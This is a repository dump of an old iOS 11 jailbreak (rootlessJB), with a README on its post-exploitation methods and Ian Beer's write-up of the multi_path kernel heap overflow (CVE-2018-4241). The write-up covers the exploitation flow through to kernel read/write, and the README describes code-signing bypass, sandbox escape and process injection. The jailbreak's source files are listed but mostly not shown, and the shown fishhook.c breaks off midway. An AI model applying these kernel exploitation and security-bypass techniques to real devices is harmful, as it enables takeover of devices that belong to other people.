├── README.md
├── empty_list.xcodeproj
├── project.pbxproj
├── project.xcworkspace
│ ├── contents.xcworkspacedata
│ ├── xcshareddata
│ │ └── IDEWorkspaceChecks.plist
│ └── xcuserdata
│ │ ├── ianbeer.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
│ │ └── jakejames.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
└── xcuserdata
│ ├── ianbeer.xcuserdatad
│ └── xcschemes
│ │ └── xcschememanagement.plist
│ └── jakejames.xcuserdatad
│ ├── xcdebugger
│ └── Breakpoints_v2.xcbkptlist
│ └── xcschemes
│ └── xcschememanagement.plist
├── empty_list
├── AppDelegate.h
├── AppDelegate.m
├── Assets.xcassets
│ └── AppIcon.appiconset
│ │ └── Contents.json
├── Base.lproj
│ ├── LaunchScreen.storyboard
│ └── Main.storyboard
├── Info.plist
├── README
├── ViewController.h
├── ViewController.m
├── bins
│ ├── test
│ └── tester
├── dylibs
│ ├── PreferenceLoader.dylib
│ ├── amfid_payload.dylib
│ ├── libprefs.dylib
│ └── pspawn_payload.dylib
├── fishhook
│ ├── fishhook.c
│ └── fishhook.h
├── iosbinpack.tar
├── jailbreakd
│ ├── Ent.plist
│ ├── Makefile
│ ├── kern_utils.h
│ ├── kern_utils.m
│ ├── kexecute.c
│ ├── kexecute.h
│ ├── kmem.c
│ ├── kmem.h
│ ├── launch.h
│ ├── main.m
│ ├── offsetof.c
│ ├── offsetof.h
│ ├── osobject.c
│ ├── osobject.h
│ ├── patchfinder64.c
│ ├── patchfinder64.h
│ ├── sandbox.c
│ └── sandbox.h
├── jailbreakd_client
│ ├── Ent.plist
│ ├── Makefile
│ └── jailbreakd_client.m
├── jelbrek
│ ├── IOKit.tbd
│ ├── QiLin.h
│ ├── amfi_utils.h
│ ├── amfi_utils.m
│ ├── bootstrap.h
│ ├── bootstrap.m
│ ├── include
│ │ └── IOKit
│ │ │ ├── IOKitKeys.h
│ │ │ ├── IOKitLib.c
│ │ │ ├── IOKitLib.h
│ │ │ ├── IOReturn.h
│ │ │ ├── IOTypes.h
│ │ │ ├── OSMessageNotification.h
│ │ │ ├── Readme.md
│ │ │ └── screenshot.jpg
│ ├── inject_criticald.h
│ ├── inject_criticald.m
│ ├── jelbrek.h
│ ├── jelbrek.m
│ ├── kern_utils.h
│ ├── kern_utils.m
│ ├── kexecute.c
│ ├── kexecute.h
│ ├── libjb.a
│ ├── libjb.h
│ ├── libjb.m
│ ├── liboffsetfinder64.hpp
│ ├── libs
│ │ ├── libimg4tool.a
│ │ ├── libmerged.a
│ │ ├── liboffsetfinder64.a
│ │ ├── libplist++.a
│ │ └── libplist.a
│ ├── offsetfinder.cpp
│ ├── offsetof.c
│ ├── offsetof.h
│ ├── osobject.c
│ ├── osobject.h
│ ├── patchfinder64.h
│ ├── patchfinder64.m
│ ├── qilin.o
│ ├── remap_tfp_set_hsp.c
│ ├── remap_tfp_set_hsp.h
│ ├── shell.c
│ ├── shell.h
│ ├── unlocknvram.c
│ ├── unlocknvram.h
│ ├── vnode_utils.h
│ └── vnode_utils.m
├── kmem.h
├── launchctl
│ ├── Ent.plist
│ ├── Makefile
│ └── main.m
├── main.m
├── multi_path.entitlements
├── offsets.h
├── offsets.m
├── patcher
├── pspawn_payload
│ ├── Makefile
│ ├── bin
│ │ └── pspawn_payload.dylib
│ ├── common.c
│ ├── common.h
│ └── pspawn_payload.m
├── sploit.c
├── sploit.h
├── tar
├── test
└── tweaksupport.tar
├── patcher
└── rootlessJB.ipa
/README.md:
--------------------------------------------------------------------------------
1 | # THIS IS OLD. GO TO https://github.com/jakeajames/rootlessJB FOR V2. BOTH VFS AND MPTCP IN ONE PROJECT.
2 |
3 | # beautifully rootless
4 |
5 | So, as some of you know after multi_path was released I immediately started working on a dev-only jailbreak with it. Got the first things ready just a few hours later, those included root, a sandbox escape (without stealing credentials, avoiding a huge mess on the kernel) and a codesign patch. (which is done in 2 phases: 1) use QiLin's castrateAmfid function (which uses Ian Beer's technique) to set a crashy value when amfid validates a binary and then set an exception port on our app where amfid will get redirected once it crashes. There we handle the validation ourselves. However, I did not like that patch because it didn't support all binaries properly and works only when our app is running. amfidebilitate could have been used but I thought of a better method: 2) Use Electra's amfid_payload.dylib which will completely replace the validation function with our own. Differently from Electra, I didn't use the trustcache (which Apple is going to probably mitigate sometime in the future), because the provided technique didn't work due to bad patchfinfing and thus had to platformize the jailbreak app, and inject "com.apple.private.skip-library-validation" & "get-task-allow" into amfid (and of course, the opposite of "get-task-allow" into the jailbreak app. This was done with the help of QiLin as normal entitlement injection didn't work for me)
6 |
7 | Later on, I decided to see what was working from the Electra patches, and included on my project a nvram unlock, and host_get_special_port 4 to open tfp0 to any process running as root.
8 |
9 | HOWEVER, an important piece was missing, what every jailbreak had in order to be called a jailbreak: a rootfs remount...
10 |
11 | SparkZheng had released a write-up on this and I decided to implement it. Wrote the getVnodeAtPath() function (which didn't work as is on KTRR devices for some weird reason), found the required offsets and ran the bypass, but I never could get it to work properly. And SSH would just drop the connection after switching mnt_data.
12 |
13 | At that point some people would have given up but I didn't. Every time Apple adds a new mitigation people find a way around it, so who cares if there's no r/w? WE CAN DO IT. First let's think why we need r/w normally:
14 |
15 | 1. /var is sandboxed as hell
16 | 2. A lot of binaries and tweaks expect stuff to be in /
17 | 3. idk what else
18 |
19 | So, for 1) I had the solution: /var/containers/Bundle is a good place where code execution is allowed with the required entitlements and for 2) I did the obvious thing: patched paths using a hex editor. Paths were mostly /usr/lib and /Library in case of some tweaks. The next problem is that /usr/lib and /Library are reasonably shorter in length than the only possible unsandboxed path /var/containers/Bundle, so I used another workaround. Since symlinks get followed, if we symlink the unsandboxed path into a sandboxed path such as /var/LIB it'd still work. So when you see some random symlinks in /var after using this jailbreak, you know why.
20 |
21 | The first rootless patch I did was dropbear, I had been using mach_portal's netcat shell for quite a long time but obviously SSH is a way better option. I replaced /etc/dropbear with /var/dropbear and everything worked smoothly. (no need to symlink here. /var/dropbear is just data). Then to keep dropbear alive I had to support LaunchDaemons and for that I needed a working launchctl. To make launchctl work Electra added it to the trustcache, providing automatic platformization, so what I did to avoid using that was making a new launchAsPlatform function (the same as QiLin's spawnAndPlatformize but open source :D). The idea is simple: use posix_spawn to launch the binary normally but add the SUSPENDED flag so the binary gets paused immediately after spawning, giving us unlimited time to patch it. While it was paused I added the TF_PLATFORM flag on it & set the CS_PLATFORM_BINARY flag. Then I simply ran kill(pid, SIGCONT) ("continue signal") to resume execution and it worked perfectly. I got working launch daemons, without r/w.
22 |
23 | Next step was providing the user an automatically platformized launchctl so he has control over the launch daemons. To do that a jailbreakd was required, so I quickly wrote one with all the patches from the jailbreak and made a fake launchctl binary which did the same thing as launchAsPlatform() with the original launchctl. (since launchctl isn't open source). The jailbreakd used CPDistributedMessagingCenter to communicate, for ease of access, however that caused some issues with the next part, so I had to temporarily use Electra's one. (the one from beta's before beta 11, so both open-source and stable). I'm not quite good at low-level IPC so until then will continue to use this.
24 |
25 | Now, tweaks. Code injection was already achieved so the only thing left for me to do was patching paths. I grabbed the latest copies of Substitute, Tweak Injector and a tweak and successfully injected. But to keep tweaks alive after a respring we need to automatically inject. All previous jailbreaks did this using launchd. It is always pid 1, and never gets killed (kill 1 = panic), and was used to launch all apps and daemons using xpcproxy so was a perfect target for tweak persistence (NOTE: Not after reboot; but after killing the process; people thought this was an untether). So I started working on a launchd payload based on Electra's. But launchd didn't want to send messages through CPDistruibutedMessagingCenter (and saw nothing in the system logs) and CoreFoundation notifications caused a panic. As I said earlier, the only solution was using jailbreakd and the payload from Electra betas. The original jailbreakd made by me can be found on jakeajames/multi_path. After implementing the jailbreakd tweaks started working immediately without issues, except that all sandboxed apps started crashing. First I thought it was because I didn't update the jailbreakd sandbox exceptions but actually I realized sandboxed apps can't load a library from /var unless it's their OWN container. Without having a fix for now, I decided to whitelist what gets tweaked. The whitelist is as follows:
26 |
27 | - Messages
28 | - SpringBoard
29 | - Clock
30 | - Home
31 |
32 | ## Usage notes
33 |
34 | - Binaries are located in: /var/containers/Bundle/iosbinpack64
35 | - Launch daemons are located in /var/containers/Bundle/iosbinpack64/LaunchDaemons
36 | - /var/containers/Bundle/tweaksupport contains a fake filesystem where tweaks and stuff get installed
37 | - Symlinks include: /var/LIB, /var/ulb, /var/bin, /var/sbin
38 |
39 | All executables must have at least these two entitlements:
40 |
41 |
42 |
43 |
44 | platform-application
45 |
46 | com.apple.private.security.container-required
47 |
48 |
49 |
50 |
51 |
52 | - Tweaks and stuff get installed in: /var/containers/Bundle/tweaksupport the same way you did with Electra betas.
53 | - Tweaks must be patched using the patcher script provided. (Mac and Linux only) or manually
54 | - PreferenceLoader currently is broken
55 | Usage:
56 | ./patcher /path/to/deb /path/to/output_folder
57 |
58 | Credits to: Ian Beer for multi_path and mach_portal, Jonathan Levin for amfid patch, Jonathan Seals for find_kernel_base, Electra Team (especially stek29) and PsychoTea (@iBSparkes)
59 |
--------------------------------------------------------------------------------
/empty_list.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/empty_list.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/empty_list.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list.xcodeproj/project.xcworkspace/xcuserdata/ianbeer.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/empty_list.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list.xcodeproj/project.xcworkspace/xcuserdata/jakejames.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/empty_list.xcodeproj/xcuserdata/ianbeer.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | multi_path.xcscheme
8 |
9 | orderHint
10 | 0
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/empty_list.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
8 |
20 |
21 |
22 |
24 |
36 |
37 |
38 |
40 |
52 |
53 |
54 |
56 |
68 |
69 |
70 |
72 |
84 |
85 |
86 |
88 |
100 |
101 |
102 |
104 |
116 |
117 |
118 |
120 |
132 |
133 |
134 |
136 |
148 |
149 |
150 |
152 |
164 |
165 |
166 |
167 |
168 |
--------------------------------------------------------------------------------
/empty_list.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | empty_list.xcscheme
8 |
9 | orderHint
10 | 0
11 |
12 | multi_path.xcscheme
13 |
14 | orderHint
15 | 0
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/empty_list/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // multi_path
4 | //
5 | // Created by Ian Beer on 5/28/18.
6 | // Copyright © 2018 Ian Beer. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface AppDelegate : UIResponder
12 |
13 | @property (strong, nonatomic) UIWindow *window;
14 |
15 |
16 | @end
17 |
18 |
--------------------------------------------------------------------------------
/empty_list/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // multi_path
4 | //
5 | // Created by Ian Beer on 5/28/18.
6 | // Copyright © 2018 Ian Beer. All rights reserved.
7 | //
8 |
9 | #import "AppDelegate.h"
10 |
11 | @interface AppDelegate ()
12 |
13 | @end
14 |
15 | @implementation AppDelegate
16 |
17 |
18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
19 | // Override point for customization after application launch.
20 | return YES;
21 | }
22 |
23 |
24 | - (void)applicationWillResignActive:(UIApplication *)application {
25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
27 | }
28 |
29 |
30 | - (void)applicationDidEnterBackground:(UIApplication *)application {
31 | // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
32 | // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
33 | }
34 |
35 |
36 | - (void)applicationWillEnterForeground:(UIApplication *)application {
37 | // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
38 | }
39 |
40 |
41 | - (void)applicationDidBecomeActive:(UIApplication *)application {
42 | // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
43 | }
44 |
45 |
46 | - (void)applicationWillTerminate:(UIApplication *)application {
47 | // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
48 | }
49 |
50 |
51 | @end
52 |
--------------------------------------------------------------------------------
/empty_list/Assets.xcassets/AppIcon.appiconset/Contents.json:
--------------------------------------------------------------------------------
1 | {
2 | "images" : [
3 | {
4 | "idiom" : "iphone",
5 | "size" : "20x20",
6 | "scale" : "2x"
7 | },
8 | {
9 | "idiom" : "iphone",
10 | "size" : "20x20",
11 | "scale" : "3x"
12 | },
13 | {
14 | "idiom" : "iphone",
15 | "size" : "29x29",
16 | "scale" : "2x"
17 | },
18 | {
19 | "idiom" : "iphone",
20 | "size" : "29x29",
21 | "scale" : "3x"
22 | },
23 | {
24 | "idiom" : "iphone",
25 | "size" : "40x40",
26 | "scale" : "2x"
27 | },
28 | {
29 | "idiom" : "iphone",
30 | "size" : "40x40",
31 | "scale" : "3x"
32 | },
33 | {
34 | "idiom" : "iphone",
35 | "size" : "60x60",
36 | "scale" : "2x"
37 | },
38 | {
39 | "idiom" : "iphone",
40 | "size" : "60x60",
41 | "scale" : "3x"
42 | },
43 | {
44 | "idiom" : "ipad",
45 | "size" : "20x20",
46 | "scale" : "1x"
47 | },
48 | {
49 | "idiom" : "ipad",
50 | "size" : "20x20",
51 | "scale" : "2x"
52 | },
53 | {
54 | "idiom" : "ipad",
55 | "size" : "29x29",
56 | "scale" : "1x"
57 | },
58 | {
59 | "idiom" : "ipad",
60 | "size" : "29x29",
61 | "scale" : "2x"
62 | },
63 | {
64 | "idiom" : "ipad",
65 | "size" : "40x40",
66 | "scale" : "1x"
67 | },
68 | {
69 | "idiom" : "ipad",
70 | "size" : "40x40",
71 | "scale" : "2x"
72 | },
73 | {
74 | "idiom" : "ipad",
75 | "size" : "76x76",
76 | "scale" : "1x"
77 | },
78 | {
79 | "idiom" : "ipad",
80 | "size" : "76x76",
81 | "scale" : "2x"
82 | },
83 | {
84 | "idiom" : "ipad",
85 | "size" : "83.5x83.5",
86 | "scale" : "2x"
87 | }
88 | ],
89 | "info" : {
90 | "version" : 1,
91 | "author" : "xcode"
92 | }
93 | }
--------------------------------------------------------------------------------
/empty_list/Base.lproj/LaunchScreen.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/empty_list/Base.lproj/Main.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 | Exploit by Ian Beer
32 |
33 | Post exploitation is mostly from Electra, QiLin and a few things from my own
34 |
35 | Put together by @Jakeashacks :)
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
72 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/empty_list/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleDisplayName
8 | rootlessJB
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | APPL
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleVersion
22 | 1
23 | LSRequiresIPhoneOS
24 |
25 | UILaunchStoryboardName
26 | LaunchScreen
27 | UIMainStoryboardFile
28 | Main
29 | UIRequiredDeviceCapabilities
30 |
31 | armv7
32 |
33 | UISupportedInterfaceOrientations
34 |
35 | UIInterfaceOrientationPortrait
36 | UIInterfaceOrientationLandscapeLeft
37 | UIInterfaceOrientationLandscapeRight
38 |
39 | UISupportedInterfaceOrientations~ipad
40 |
41 | UIInterfaceOrientationPortrait
42 | UIInterfaceOrientationPortraitUpsideDown
43 | UIInterfaceOrientationLandscapeLeft
44 | UIInterfaceOrientationLandscapeRight
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/empty_list/README:
--------------------------------------------------------------------------------
1 | multi_path - exploit for p0 issue 1558 (CVE-2018-4241)
2 | @i41nbeer
3 |
4 | mptcp_usr_connectx is the handler for the connectx syscall for the AP_MULTIPATH socket family.
5 |
6 | The logic of this function fails to correctly handle source and destination sockaddrs which aren't
7 | AF_INET or AF_INET6:
8 |
9 | //***************
10 | // verify sa_len for AF_INET:
11 |
12 | if (dst->sa_family == AF_INET &&
13 | dst->sa_len != sizeof(mpte->__mpte_dst_v4)) {
14 | mptcplog((LOG_ERR, "%s IPv4 dst len %u\n", __func__, dst->sa_len), MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
15 | error = EINVAL;
16 | goto out;
17 | }
18 |
19 | // verify sa_len for AF_INET6:
20 |
21 | if (dst->sa_family == AF_INET6 &&
22 | dst->sa_len != sizeof(mpte->__mpte_dst_v6)) {
23 | mptcplog((LOG_ERR, "%s IPv6 dst len %u\n", __func__, dst->sa_len), MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR);
24 | error = EINVAL;
25 | goto out;
26 | }
27 |
28 | // code doesn't bail if sa_family was neither AF_INET nor AF_INET6
29 |
30 | if (!(mpte->mpte_flags & MPTE_SVCTYPE_CHECKED)) {
31 | if (mptcp_entitlement_check(mp_so) < 0) {
32 | error = EPERM;
33 | goto out;
34 | }
35 |
36 | mpte->mpte_flags |= MPTE_SVCTYPE_CHECKED;
37 | }
38 |
39 | // memcpy with sa_len up to 255:
40 |
41 | if ((mp_so->so_state & (SS_ISCONNECTED|SS_ISCONNECTING)) == 0) {
42 | memcpy(&mpte->mpte_dst, dst, dst->sa_len);
43 | }
44 |
45 | //***************
46 |
47 | Looking around in the structure which you overflow inside you notice you can hit both fields here:
48 |
49 | if (mpte->mpte_itfinfo_size > MPTE_ITFINFO_SIZE)
50 | _FREE(mpte->mpte_itfinfo, M_TEMP);
51 |
52 | mpte_itfinfo_size is just before mpte_itfinfo.
53 |
54 | When the structure is initialized the mpte_itfinfo pointer points to a small inline array. If more subflows are added
55 | than will fit in there they are instead put in a heap buffer, and mpte_itfinfo will point to that.
56 |
57 | If you had another bug (eg the kernel heap disclosure bug from async_wake) you could overwrite the mpte_itfinfo field
58 | with any valid zone object and it would get free'd (in fact, you could also overwrite it with an offset into that object
59 | for even more fun!)
60 |
61 | However, we don't have that.
62 |
63 | Instead another approach is to partially overwrite the pointer. If we partially overwrite it with NULL bytes we can point
64 | it to a 256 byte, 65k, 16MB or 4GB aligned value.
65 |
66 | In this exploit I choose a 3 byte NULL overwrite, which will cause a kfree of the mpte_itfinfo address rounded down to the
67 | next 16MB boundary.
68 |
69 | The exploitation flow is as follows:
70 |
71 | Allocate alternatingly 16MB of ipc_kmsgs followed by a bunch of mptcp sockets. The goal here is to get a kalloc.2048 allocation
72 | at that 16MB boundary.
73 |
74 | Use the bug to free one of the ipc_kmsgs, moving that page to the intermediate list and putting the 16MB-aligned allocation on a
75 | kalloc.2048 intermediate page freelist.
76 |
77 | Allocate a bunch of filled 2047 byte pipes; the backing buffers for these pipes will come from kalloc.2048, hopefully including our
78 | 16MB-aligned address.
79 |
80 | Trigger the bug a second time, freeing the same address and this time then allocate a bunch of preallocated ipc_kmsg buffers from
81 | kalloc.2048.
82 |
83 | Now we hopefully have an ipc_kmsg (which we can get messages sent to and then receive) and a pipe buffer (which we can read and write)
84 | overlapping each other.
85 |
86 | I use the thread exception port trick from extra_recipe to get messages sent to the prealloced ipc_kmsg buffer. Each time we check each
87 | of the pipes to see if any of them contain the message. When we find the right (ipc_kmsg,pipe) pair we can rewrite the message to send ourselves
88 | a fake port which lives inside the pipe buffer. I structure that fake port like the one from async_wake (which I based on yalu 10.2 by
89 | @qwertyoruiopz and @marcograss) to give me an early kernel read primitive.
90 |
91 | Using the kernel read primitive I find the kernel task and make a fake port which allows easier kernel memory read/write via
92 | mach_vm_read/mach_vm_write.
93 |
94 | Caveat: To connect mptcp sockets you do need the com.apple.developer.networking.multipath entitlement which requires an apple developer cert, which
95 | anyone can buy from Apple.
96 |
97 | Reliability:
98 | This is a security reseach tool and is faaaar from perfect. However, it should work most of the time, and when it does work it should
99 | do a good job of cleaning up so it won't panic later.
100 |
101 | To improve the probability of it working:
102 | * turn off wifi and go in to airplane mode
103 | * reboot
104 | * wait 30 seconds after restarting
105 | * run the app from xcode
106 |
107 | Supported devices:
108 | It should work on iOS 11.0 - 11.3.1 inclusive. I have tested on: iPod Touch 6g, iPhone 6s, iPhone SE, iPhone 7, iPhone 8
109 |
110 | API:
111 | #include "sploit.h" and call go() to run the exploit.
112 | If it worked you can use the functions in kmem.h to read and write kernel memory
113 |
114 | Notes:
115 | Multiple people have publically bindiff'ed this bug from the patch (or their 0day got patched ;) read their stuff for more details:
116 | @elvanderb gave a lightning talk about the bug at rump.beer in Paris on May 31st: https://www.rump.beer/2018/slides/ios_48h.pdf
117 | @jaakerblom published a working exploit on github on June 1st: https://github.com/potmdehex/multipath_kfree
118 | John's technique is similar to mine but he does a two-byte overflow rather than a three byte one, and replaces with different objects. good stuff!
119 |
--------------------------------------------------------------------------------
/empty_list/ViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // ViewController.h
3 | // multi_path
4 | //
5 | // Created by Ian Beer on 5/28/18.
6 | // Copyright © 2018 Ian Beer. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface ViewController : UIViewController
12 | @property (weak, nonatomic) IBOutlet UISwitch *tweaksSwitch;
13 |
14 | @property (weak, nonatomic) IBOutlet UITextView *logs;
15 |
16 | @end
17 |
18 |
--------------------------------------------------------------------------------
/empty_list/bins/test:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/bins/test
--------------------------------------------------------------------------------
/empty_list/bins/tester:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/bins/tester
--------------------------------------------------------------------------------
/empty_list/dylibs/PreferenceLoader.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/PreferenceLoader.dylib
--------------------------------------------------------------------------------
/empty_list/dylibs/amfid_payload.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/amfid_payload.dylib
--------------------------------------------------------------------------------
/empty_list/dylibs/libprefs.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/libprefs.dylib
--------------------------------------------------------------------------------
/empty_list/dylibs/pspawn_payload.dylib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jakeajames/rootlessJB_EL/264cb6f857c2b0cd93d6cd3f798f8b7bc5aa139a/empty_list/dylibs/pspawn_payload.dylib
--------------------------------------------------------------------------------
/empty_list/fishhook/fishhook.c:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2013, Facebook, Inc.
2 | // All rights reserved.
3 | // Redistribution and use in source and binary forms, with or without
4 | // modification, are permitted provided that the following conditions are met:
5 | // * Redistributions of source code must retain the above copyright notice,
6 | // this list of conditions and the following disclaimer.
7 | // * Redistributions in binary form must reproduce the above copyright notice,
8 | // this list of conditions and the following disclaimer in the documentation
9 | // and/or other materials provided with the distribution.
10 | // * Neither the name Facebook nor the names of its contributors may be used to
11 | // endorse or promote products derived from this software without specific
12 | // prior written permission.
13 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
14 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
15 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
16 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
17 | // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
18 | // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
19 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
20 | // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
21 | // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
22 | // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
23 |
24 | #import "fishhook.h"
25 |
26 | #import
27 | #import
28 | #import
29 | #import
30 | #import
31 | #import
32 | #import
33 |
34 | #ifdef __LP64__
35 | typedef struct mach_header_64 mach_header_t;
36 | typedef struct segment_command_64 segment_command_t;
37 | typedef struct section_64 section_t;
38 | typedef struct nlist_64 nlist_t;
39 | #define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT_64
40 | #else
41 | typedef struct mach_header mach_header_t;
42 | typedef struct segment_command segment_command_t;
43 | typedef struct section section_t;
44 | typedef struct nlist nlist_t;
45 | #define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT
46 | #endif
47 |
48 | #ifndef SEG_DATA_CONST
49 | #define SEG_DATA_CONST "__DATA_CONST"
50 | #endif
51 |
52 | struct rebindings_entry {
53 | struct rebinding *rebindings;
54 | size_t rebindings_nel;
55 | struct rebindings_entry *next;
56 | };
57 |
58 | static struct rebindings_entry *_rebindings_head;
59 |
60 | static int prepend_rebindings(struct rebindings_entry **rebindings_head,
61 | struct rebinding rebindings[],
62 | size_t nel) {
63 | struct rebindings_entry *new_entry = (struct rebindings_entry *) malloc(sizeof(struct rebindings_entry));
64 | if (!new_entry) {
65 | return -1;
66 | }
67 | new_entry->rebindings = (struct rebinding *) malloc(sizeof(struct rebinding) * nel);
68 | if (!new_entry->rebindings) {
69 | free(new_entry);
70 | return -1;
71 | }
72 | memcpy(new_entry->rebindings, rebindings, sizeof(struct rebinding) * nel);
73 | new_entry->rebindings_nel = nel;
74 | new_entry->next = *rebindings_head;
75 | *rebindings_head = new_entry;
76 | return 0;
77 | }
78 |
79 | static void perform_rebinding_with_section(struct rebindings_entry *rebindings,
80 | section_t *section,
81 | intptr_t slide,
82 | nlist_t *symtab,
83 | char *strtab,
84 | uint32_t *indirect_symtab) {
85 | uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1;
86 | void **indirect_symbol_bindings = (void **)((uintptr_t)slide + section->addr);
87 | for (uint i = 0; i < section->size / sizeof(void *); i++) {
88 | uint32_t symtab_index = indirect_symbol_indices[i];
89 | if (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL ||
90 | symtab_index == (INDIRECT_SYMBOL_LOCAL | INDIRECT_SYMBOL_ABS)) {
91 | continue;
92 | }
93 | uint32_t strtab_offset = symtab[symtab_index].n_un.n_strx;
94 | char *symbol_name = strtab + strtab_offset;
95 | if (strnlen(symbol_name, 2) < 2) {
96 | continue;
97 | }
98 | struct rebindings_entry *cur = rebindings;
99 | while (cur) {
100 | for (uint j = 0; j < cur->rebindings_nel; j++) {
101 | if (strcmp(&symbol_name[1], cur->rebindings[j].name) == 0) {
102 | if (cur->rebindings[j].replaced != NULL &&
